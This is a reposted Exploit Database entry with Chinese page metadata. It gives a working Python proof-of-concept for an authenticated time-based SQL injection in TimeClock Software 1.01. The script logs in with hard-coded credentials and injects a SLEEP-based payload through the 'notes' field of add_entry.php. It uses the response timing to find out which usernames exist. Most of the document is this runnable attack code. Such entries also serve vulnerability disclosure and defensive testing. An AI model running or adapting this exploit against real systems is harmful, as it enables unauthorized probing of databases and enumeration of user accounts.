TimeClock Software 1.01 0 – (Authenticated) Time-Based SQL Injection

• Exploit Database
• 16 阅读

• 作者： François Bibeau
  日期： 2020-07-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48874/

• #!/usr/bin/python3
  
  # Exploit Title: TimeClock Software 1.01 Authenticated Time-Based SQL Injection
  # Date: July 21, 2020
  # Exploit Author: François Bibeau
  # Co Author: Tyler Butler, http://tbutler.org, https://twitter.com/tbutler0x90
  # Vendor Homepage: http://timeclock-software.net/
  # Software Link: http://timeclock-software.net/timeclock-download.php
  # Version: 1.01
  # Tested on: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache
  
  import time
  import requests
  
  
  login_url = 'http://159.203.41.34/login_action.php'# Ensure to change ip to match target
  login_data = {'username':'fred','password':'fred','submit':'Log In'}
  headers = {'User-Agent': 'Mozilla/5.0'}
  
  # init session & login
  session = requests.Session()
  session.post(login_url,headers=headers,data=login_data)
  
  # static list provided for PoC, could use a text file
  users = ['john','bill','tim','fred','garry','sid','admin']
  
  for user in users:
  	url = "http://159.203.41.34/add_entry.php"
  	payload = f"' OR IF((SELECT username FROM user_info WHERE username='{user}')='{user}', SLEEP(5), NULL)='"
  
  	data = {'data_month': '1',
  	'data_day': '1',
  	'data_year': '1',
  	'type_id': '5',
  	'hours': '1',
  	'notes': payload,
  	'submit': 'Add'}
  
  	print(f'Checking user {user}... ', end = '')
  
  	start = time.time()
  	response = session.post(url,data=data)
  	end = time.time()
  
  	delay = end - start
  
  	if delay > 5:
  		print('User found!')
  	else:
  		print('')